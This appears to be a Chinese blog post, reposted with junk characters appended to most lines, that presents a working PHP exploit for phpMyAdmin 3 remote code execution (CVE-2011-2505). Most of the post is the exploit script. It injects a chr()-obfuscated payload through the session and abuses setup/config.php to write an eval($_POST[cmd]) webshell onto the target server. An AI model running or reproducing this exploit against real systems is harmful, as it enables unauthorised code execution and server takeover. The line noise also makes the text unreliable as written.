最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
* t# A2 {# B/ U
$ }9 s/ g, O/ R1 D昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
1 `. W' S. T+ X: W5 Q$ x; d4 f/ v7 u7 j$ Q9 p- i& g g7 J
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:. Y3 V) E% X% R: t. Z. I( v
一是session.auto_start = 1;
m0 v4 p+ B0 `二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
% }1 a2 M9 b9 b" d1 R- e, x, ?当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。- [! [) |+ s$ w8 w
# w' N5 H8 ^3 I2 k) x3 |在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。8 @6 n1 t$ z5 t0 E1 [: R
' ], l F9 s) x0 A
于是写了这个php版本的exp,代码如下:' [, q% [; B9 S$ d; u* q. \5 c& ^
7 ^. M' G" J4 s/ H( E/ _% x$ Q# c
#!/usr/bin/php9 d* T) n# r$ f K
<?php4 p$ H, R5 e6 v+ _
print_r('
% z# K: D3 g) T, U! X, Q+---------------------------------------------------------------------------+
6 `' n8 Q* G. E7 apma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]$ T5 a% T# D5 a2 ^; g
by oldjun(www.oldjun.com)
1 B( `* M, c8 Awelcome to www.t00ls.net- ^4 |5 s4 v: e* o
mail: oldjun@gmail.com
; e* l3 |. |5 F9 [! e$ zAssigned CVE id: CVE-2011-2505
/ A# S! o. Q8 v4 z+---------------------------------------------------------------------------+
+ X3 A- O0 x! R# g+ ?');; Q$ ^$ N& h' f- m* O
! e9 V2 k- m8 s8 ^, n- T5 ` c
/**5 F, D& w4 \2 A; n& }( r
* working when the directory:"config" exists and is writeable.
/ k! K ^# x g4 q% C! t**/
+ H/ B. @ Z( Q( J) b% M G
4 x5 R& X; N! V- R: C$ O$ R/ eif ($argc < 3) {
8 f% B( m) _$ O8 `' N1 `3 H6 o print_r('& {! z5 m; F9 i" A3 U. O, K+ i
+---------------------------------------------------------------------------+
8 H- }4 f% w" }. ?; n, RUsage: php '.$argv[0].' host path
' D9 ~9 @ \' v4 j& k, |! Khost: target server (ip/hostname)5 f. K* c' n! `5 c/ `
path: path to pma3$ T7 o! P( W0 E& i( X
Example:
v2 m2 u+ M8 w& `; ^9 q2 Hphp '.$argv[0].' localhost /pma/& ]" E/ h) m1 Q( @" H2 E& Y
+---------------------------------------------------------------------------+$ c2 p8 j9 v c; `+ U8 L* P
');. ^0 t+ q3 E$ m, Y2 S
exit;" x. ~4 _# G/ f, r+ ^! r
}
, }+ ^8 a+ b1 z d" w6 c
$ n, l! I! N& Y$host = $argv[1];6 T+ a; H- d5 e; x H0 D: n
$path = $argv[2];
# y+ s- o# [% V7 T3 E: Y# P# q7 g. V( }7 C" e+ h
/**$ Q0 X0 e8 w9 N! D- I8 Z, U( \
* Try to determine if the directory:"config" exists
; `- y9 n. W. O" j0 S# N' |4 C4 ?**/ L6 T; b5 I: Z
echo "[+] Try to determine if the directory:config exists....\n";
5 `9 q3 F) N1 e1 @$returnstr=php_request('config/');
, G5 k j0 t ]" V$ V1 xif(strpos($returnstr,'404')){( S; f0 m2 n2 O) ~) x4 }* Y+ L$ r
exit("[-] Exploit Failed! The directory:config do not exists!\n");
& X0 t9 E% [) q1 B% l}
! D# h7 m, f9 r" y* ?7 s' R2 x
0 P: r" v- x# o/ w+ [/**
# W* n$ y1 R5 \& a4 T# x9 n * Try to get token and sessionid) k# o* m) w$ I3 ~
**// ~' D! ~: R( q7 E# I+ \2 d
echo "[+] Try to get token and sessionid....\n";
/ o4 W3 ~9 E0 c$result=php_request('index.php');
4 P. C3 m/ Y( xpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$ ?& z. u j4 _% V. i, `' o* c! ]$token=$resp[3];* X4 P" _( p, \% v0 |
$sessionid=$resp[1];9 o P+ i2 [" u; ?8 W" h
if($token && $sessionid){
+ C4 z: }5 i6 t \ echo "[+] token token\n";
! K4 m; d5 u& e r6 f2 x echo "[+] Session ID sessionid\n";
6 H( N& n9 I' e0 o}else{
7 E& r8 O- z4 Y: u6 U% T7 s exit("[-] Can't get token and Session ID,Exploit Failed!\n");
% F$ V0 B4 v4 H# U8 M}# A4 [4 D" B& o' J( @2 J5 P
3 r$ n3 K+ J# H, D/**/ \7 C! x" M8 t+ H; \: C* r
* Try to insert shell into session
6 ?, A: g9 A S, ?, `# w**/* R2 D! ~0 _8 O3 ^1 L$ n' k
echo "[+] Try to insert shell into session....\n";4 q" T7 P, {( A$ B) j. x
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.5 n1 [+ l7 [* n' {2 p1 o7 ?
' x; I3 L! p2 P' l, Z& A
/** ~. Q. l& A0 T0 W$ x
* Try to create webshell
5 B1 C# B- S+ E6 H/ M2 L**/2 j# K, S* y/ ^( J" g
echo "[+] Try to create webshell....\n";
0 k, m/ k' ?4 s0 O3 I- q% \6 S( |php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);- U) q9 i0 z1 Q4 v' ~% ]+ d& v @
/**
: @ t) y* d% w+ ^7 n( o4 ?/ ^* ~ * Try to check if the webshell was created successfully) |& J* |6 \ q
**/& O) _- W. c9 k- `& i/ J
echo "[+] Try to check if the webshell was created successfully....\n";" {+ m( Z4 w% j: o }7 o& H+ F
$content=php_request('config/config.inc.php');
/ ]: d8 t$ G+ j; M- u% G9 [) [if(strpos($content,'t00ls')){
( k% S$ _+ e7 I8 n9 ~+ r echo "[+] Congratulations! Expoilt successfully....\n";" B1 {/ K9 }' \. F1 `( P) X
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";: U+ j d8 S+ w Y( E& `( V
}else{" F% {- W. S+ y3 p* O |: t
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
! q4 }/ {8 \" t L9 X0 b" l! J}! H8 u& [5 i' {) H& @: s: E
1 S- q# {2 b4 j2 Q
function php_request($url,$data='',$cookie=''){
2 h5 ^$ _$ c) i/ \# j global $host, $path;9 `, o/ w" S, |, K( N) u
7 _, n9 g$ q1 [. X8 s
$method=$data?'POST':'GET';! }6 H" S* I" c
1 L+ J- h5 T$ A ~) H5 N" z1 v$ ]/ r1 s
$packet = $method." ".$path.$url." HTTP/1.1\r\n";+ G. a( x) l+ z6 v" k# [) _
$packet .= "Accept: */*\r\n";: `1 R" B" i$ x' e
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
6 [. b0 M/ p* X& C1 z. S $packet .= "Host: $host\r\n";/ D+ Y" k$ @2 c1 B$ @( q* p* I6 O
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
9 ]3 A5 _ w$ [7 @+ f- ]* A1 s $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";/ a3 ~4 _! S( N) D% |2 x1 q- M! a/ J
$packet .= $cookie?"Cookie: $cookie\r\n":"";
9 d/ Q: t ?4 C: Z0 f4 @* Y+ X $packet .= "Connection: Close\r\n\r\n";7 d+ F# E1 ^( H, w/ @
$packet .= $data?$data:"";
! i0 }% U. H1 I( ?" u! U3 F q0 T
! p- `& ]) o$ s1 s4 J $fp = fsockopen(gethostbyname($host), 80);" n. j- o6 @ i/ k, \
if (!$fp) {
; l5 w8 m+ Z5 {1 j7 f echo 'No response from '.$host; die;
# T& S( x* s0 u t; q }" `2 j4 S* d( V9 x0 D/ \+ g
fputs($fp, $packet);- T2 z8 v" c+ }/ P
5 T/ m8 L" c; f4 w6 e- P$ [# D/ z $resp = '';$ T7 r( D" |) I! [# N
/ I4 B! ?' @& s; e }
while ($fp && !feof($fp))* b @) Y) S& Q5 V0 Y
$resp .= fread($fp, 1024);9 a: B1 c# |) l: p. C
) V3 Q, M; n6 |9 k+ d
return $resp;
. y4 j3 b0 Y0 p( @% }}
M3 N" S+ r; Q! r1 A8 R$ s8 F8 I; c! ]
0 n5 x7 T7 i0 u4 M" @. G3 M?> " D0 Z g5 E- _. T* p
. |